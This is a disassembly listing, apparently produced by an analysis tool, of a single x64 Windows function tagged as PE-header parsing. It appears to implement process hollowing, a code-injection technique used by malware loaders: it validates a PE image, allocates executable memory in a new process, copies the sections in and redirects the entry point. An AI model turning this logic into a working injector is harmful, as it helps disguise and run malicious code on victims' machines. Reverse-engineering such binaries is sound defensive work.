Function at 0x140009b80
Capabilities:
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov rax, qword [0x140075088]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rsi, r9
mov r12, r8
mov r14, rdx
mov r15, rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x78], rax
xor bl, bl
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rbp + 0x30], 0xffffffff
lea rcx, [rbp + 0x30]
call fcn.14003df20
xor dil, dil
cmp byte [rbp + 0xb8], bl
je 0x140009d1c
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], 0
mov byte [rbp + 0x10], dil
movzx r9d, byte [rbp + 0xb0]
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x70]
mov ecx, eax
call fcn.14003c0a0
test al, al
je 0x140009c87
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140009c87
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
call fcn.14000f530
test eax, eax
je 0x140009c63
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140005ba0
test eax, eax
je 0x140009c5b
mov dil, 1
jmp 0x140009cba
mov word [rbp + 0x30], 0x3231
jmp 0x140009c69
mov word [rbp + 0x30], 0x3131
mov byte [rbp + 0x32], 0
lea rcx, [rbp + 0x30]
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.140013d30
jmp 0x140009cba
mov dword [rbp + 0x30], 0x5f3031
lea rcx, [rbp + 0x30]
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.140013d30
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, rsi
call fcn.140014040
nop
mov rax, qword [rbp + 0x28]
cmp rax, 0x10
jb 0x140009d10
inc rax
mov rcx, qword [rbp + 0x10]
cmp rax, 0x1000
jb 0x140009d0b
test cl, 0x1f
je 0x140009cde
call fcn.14001b928
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140009ced
call fcn.14001b928
int3
sub rcx, rax
cmp rcx, 8
jae 0x140009cfc
call fcn.14001b928
int3
cmp rcx, 0x27
jbe 0x140009d08
call fcn.14001b928
int3
mov rcx, rax
call fcn.140017584
test dil, dil
jne 0x140009d1c
xor al, al
jmp 0x14000a016
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140009fb7
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x140009faf
lea rdx, [rsp + 0x78]
mov rcx, r14
call fcn.140005060
movzx ecx, word [rbx + 4]
mov edx, 0x14c
mov eax, dword [rsp + 0x78]
cmp cx, dx
jne 0x140009d61
test eax, eax
jne 0x140009d15
mov edx, 0x8664
cmp cx, dx
jne 0x140009d70
cmp eax, 6
jne 0x140009d15
lea rdi, [rbp + 0x10]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], ax
cmp byte [rbp + 0xb8], al
lea rax, [rbp + 0x10]
je 0x140009dd0
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov r8, r12
mov rdx, r14
mov rcx, qword [rsp + 0x68]
call fcn.1400508e0
jmp 0x140009de9
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov rdx, r12
mov rcx, r14
call fcn.14000f6b0
test eax, eax
je 0x140009f8b
mov edx, 8
call fcn.140046c90
mov r14, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x18]
call fcn.14000f860
test eax, eax
je 0x140009f7f
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
lea r8, [rbp - 0x70]
mov rcx, qword [rbp + 0x10]
call fcn.140050ab0
mov eax, dword [rbp - 0x70]
lea rcx, [rbp + 0x30]
cmp rax, qword [rbx + 0x30]
jne 0x140009e51
mov dword [rbp + 0x33], 0x5f6f6f
mov word [rbp + 0x31], 0x676d
mov byte [rbp + 0x30], 0x69
jmp 0x140009e62
mov dword [rbp + 0x33], 0x5f6666
mov word [rbp + 0x30], 0x6d69
mov byte [rbp + 0x32], 0x67
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp - 0x78]
call fcn.140013d30
mov eax, 4
mov ecx, 0x40
cmp byte [rbp + 0xa8], 0
cmovne eax, ecx
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, qword [rbp + 0x10]
call fcn.14000f9c0
mov qword [rbp - 0x80], rax
test rax, rax
je 0x140009f50
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call fcn.140040a10
movzx eax, word [rbx + 0x14]
xor r12d, r12d
mov esi, r12d
cmp r12w, word [rbx + 6]
jae 0x140009f08
lea rdi, [rbx + 0x2c]
add rdi, rax
nop word [rax + rax]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x10]
call fcn.140040a10
lea rdi, [rdi + 0x28]
inc esi
movzx eax, word [rbx + 6]
cmp esi, eax
jl 0x140009ee0
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [rbp - 0x80]
mov rcx, qword [rbp + 0x10]
call fcn.140040a10
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x80]
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp + 0x18]
call fcn.140005d00
mov rcx, qword [rbp + 0x18]
call fcn.140040b80
mov bl, 1
jmp 0x140009fdc
mov word [rbp + 0x30], 0x3831
mov byte [rbp + 0x32], 0
lea rcx, [rbp + 0x30]
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.140013d30
mov rcx, qword [rbp + 0x10]
call fcn.14000fb40
xor bl, bl
jmp 0x140009fd9
mov word [rbp + 0x31], 0x37
mov byte [rbp + 0x30], 0x31
jmp 0x140009f5a
mov word [rbp + 0x30], 0x3631
mov byte [rbp + 0x32], 0
lea rcx, [rbp + 0x30]
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.140013d30
jmp 0x140009f7b
mov word [rbp + 0x30], 0x3531
jmp 0x140009f91
mov word [rbp + 0x31], 0x34
mov byte [rbp + 0x30], 0x31
lea rcx, [rbp + 0x30]
call fcn.14001b9b0
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.140013d30
xor r12d, r12d
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140009ff0
call fcn.140050c20
mov qword [rsp + 0x60], r12
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000a004
call fcn.14003fd00
mov qword [rsp + 0x68], r12
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000a013
call fcn.14003fd00
movzx eax, bl
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140017560
add rsp, 0x140
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret